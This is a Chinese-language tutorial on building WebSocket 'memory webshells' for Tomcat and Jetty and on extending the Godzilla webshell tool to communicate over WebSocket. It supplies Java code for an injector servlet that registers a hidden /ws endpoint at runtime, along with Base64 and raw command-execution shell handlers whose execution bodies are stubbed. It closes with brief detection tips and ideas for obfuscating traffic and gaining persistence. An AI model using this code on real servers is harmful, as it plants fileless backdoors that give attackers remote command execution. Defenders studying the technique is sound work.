Java内存马篇——WebSocket内存马及GodZilla二开
字数 1296 2025-08-30 06:50:27

WebSocket内存马及GodZilla二开技术详解

1. WebSocket技术基础

1.1 WebSocket概述

  • 基于TCP协议的全双工通信协议
  • 相比HTTP的单向请求-响应模式,允许客户端和服务器同时发送和接收数据
  • 握手阶段仍使用HTTP协议,升级后使用WebSocket协议通信

1.2 内存马注入条件

  • 目标中间件需支持JSR356规范
  • 适用中间件版本:
    • Tomcat 7.0.47+
    • Jetty 9.4+

2. WebSocket内存马实现方式

2.1 通过@ServerEndpoint注解实现

@ServerEndpoint("/ws")
public class WebSocketDemo {
    @OnOpen
    public void onOpen(Session session) {
        // 初始化会话资源
    }
    
    @OnMessage
    public void onMessage(String message, Session session) {
        // 处理客户端消息
    }
    
    @OnError
    public void onError(Throwable error) {
        // 错误处理
    }
    
    @OnClose
    public void onClose(Session session) {
        // 资源释放
    }
}

2.2 通过继承javax.websocket.Endpoint类实现

public class WebSocketEndpoint extends Endpoint implements MessageHandler.Whole<String> {
    @Override
    public void onOpen(Session session, EndpointConfig config) {
        session.addMessageHandler(this);
    }
    
    @Override
    public void onMessage(String message) {
        // 消息处理逻辑
    }
}

3. WebSocket初始化流程

3.1 Tomcat启动流程

  1. standardContext.startInternal方法初始化Web应用
  2. 触发ServletContainerInitializers初始化
  3. 调用ServletContainerInitializer.onStartup()方法

3.2 WebSocket特定流程

  1. Tomcat jar包中包含META-INF/services/javax.servlet.ServletContainerInitializer
  2. 内容指向org.apache.tomcat.websocket.server.WsSci
  3. 容器通过SPI加载WsSci并调用其onStartup方法
  4. 初始化WebSocket容器并筛选WebSocket组件

4. WebSocket连接流程

  1. HTTP请求 → WsFilter判断是否为WebSocket请求
  2. 发起升级协议(HTTP → WebSocket)
  3. 建立WebSocket连接

关键判断条件:

  • this.sc.areEndpointsRegistered():检查WebSocket容器是否有服务端点注册
  • isWebSocketUpgradeRequest():检查是否为WebSocket升级请求

5. 内存马注入技术实现

5.1 构造ServerEndpointConfig实例

ServerEndpointConfig config = ServerEndpointConfig.Builder.create(
    WebSocketShell.class, // 恶意Endpoint类
    "/ws" // 访问路径
).build();

5.2 获取WsServerContainer

// Tomcat 10以下版本
WsServerContainer container = (WsServerContainer) request.getServletContext()
    .getAttribute("javax.websocket.server.ServerContainer");

// Tomcat 10+版本
WsServerContainer container = (WsServerContainer) request.getServletContext()
    .getAttribute("jakarta.websocket.server.ServerContainer");

5.3 完整注入代码

public class WebSocketInjector extends HttpServlet {
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
        try {
            // 获取WebSocket容器
            WsServerContainer container = (WsServerContainer) req.getServletContext()
                .getAttribute("javax.websocket.server.ServerContainer");
            
            // 构造恶意Endpoint配置
            ServerEndpointConfig config = ServerEndpointConfig.Builder.create(
                WebSocketShell.class,
                "/ws"
            ).build();
            
            // 注册恶意Endpoint
            container.addEndpoint(config);
            
            resp.getWriter().println("WebSocket内存马注入成功");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

6. GodZilla二开实现WebSocket支持

6.1 哥斯拉基本逻辑

  • 发送一个大马到服务器
  • 服务器加载大马到内存
  • 使用自定义通信方式与大马交互

6.2 WebSocket通信类实现

public class WebSocketCommunicator {
    // 握手过程
    public void handshake() {
        // 实现握手逻辑
    }
    
    // 发送大马
    public void sendPayload(String payload) {
        // 使用WebSocket发送大马
    }
    
    // 接收命令执行结果
    public String receiveResult() {
        // 接收并处理结果
        return result;
    }
}

6.3 小马实现示例

Base64类型

@ServerEndpoint("/ws")
public class WebSocketShell {
    @OnMessage
    public void onMessage(String message, Session session) {
        try {
            String cmd = new String(Base64.getDecoder().decode(message));
            String result = executeCmd(cmd);
            session.getBasicRemote().sendText(Base64.getEncoder().encodeToString(result.getBytes()));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    private String executeCmd(String cmd) {
        // 命令执行逻辑
    }
}

Raw类型

@ServerEndpoint("/ws")
public class WebSocketShell {
    @OnMessage
    public void onMessage(String message, Session session) {
        try {
            String result = executeCmd(message);
            session.getBasicRemote().sendText(result);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    private String executeCmd(String cmd) {
        // 命令执行逻辑
    }
}

7. 测试与注意事项

  1. 注入后访问/ws路径建立WebSocket连接
  2. 发送命令并接收执行结果
  3. 可能存在的延迟问题:
    • 确保获取完整基础信息
    • 避免部分数据读取导致解析失败

8. 防御措施

  1. 监控WebSocket端点动态注册
  2. 检查WsServerContaineraddEndpoint调用
  3. 限制WebSocket端点的访问权限
  4. 定期检查内存中的WebSocket端点

9. 扩展思考

  1. 结合其他内存马技术实现复合型攻击
  2. 针对不同中间件的适配实现
  3. 流量加密与混淆技术
  4. 持久化机制设计
WebSocket内存马及GodZilla二开技术详解 1. WebSocket技术基础 1.1 WebSocket概述 基于TCP协议的全双工通信协议 相比HTTP的单向请求-响应模式,允许客户端和服务器同时发送和接收数据 握手阶段仍使用HTTP协议,升级后使用WebSocket协议通信 1.2 内存马注入条件 目标中间件需支持JSR356规范 适用中间件版本: Tomcat 7.0.47+ Jetty 9.4+ 2. WebSocket内存马实现方式 2.1 通过@ServerEndpoint注解实现 2.2 通过继承javax.websocket.Endpoint类实现 3. WebSocket初始化流程 3.1 Tomcat启动流程 standardContext.startInternal 方法初始化Web应用 触发 ServletContainerInitializers 初始化 调用 ServletContainerInitializer.onStartup() 方法 3.2 WebSocket特定流程 Tomcat jar包中包含 META-INF/services/javax.servlet.ServletContainerInitializer 内容指向 org.apache.tomcat.websocket.server.WsSci 容器通过SPI加载 WsSci 并调用其 onStartup 方法 初始化WebSocket容器并筛选WebSocket组件 4. WebSocket连接流程 HTTP请求 → WsFilter判断是否为WebSocket请求 发起升级协议(HTTP → WebSocket) 建立WebSocket连接 关键判断条件: this.sc.areEndpointsRegistered() :检查WebSocket容器是否有服务端点注册 isWebSocketUpgradeRequest() :检查是否为WebSocket升级请求 5. 内存马注入技术实现 5.1 构造ServerEndpointConfig实例 5.2 获取WsServerContainer 5.3 完整注入代码 6. GodZilla二开实现WebSocket支持 6.1 哥斯拉基本逻辑 发送一个大马到服务器 服务器加载大马到内存 使用自定义通信方式与大马交互 6.2 WebSocket通信类实现 6.3 小马实现示例 Base64类型 Raw类型 7. 测试与注意事项 注入后访问 /ws 路径建立WebSocket连接 发送命令并接收执行结果 可能存在的延迟问题: 确保获取完整基础信息 避免部分数据读取导致解析失败 8. 防御措施 监控WebSocket端点动态注册 检查 WsServerContainer 的 addEndpoint 调用 限制WebSocket端点的访问权限 定期检查内存中的WebSocket端点 9. 扩展思考 结合其他内存马技术实现复合型攻击 针对不同中间件的适配实现 流量加密与混淆技术 持久化机制设计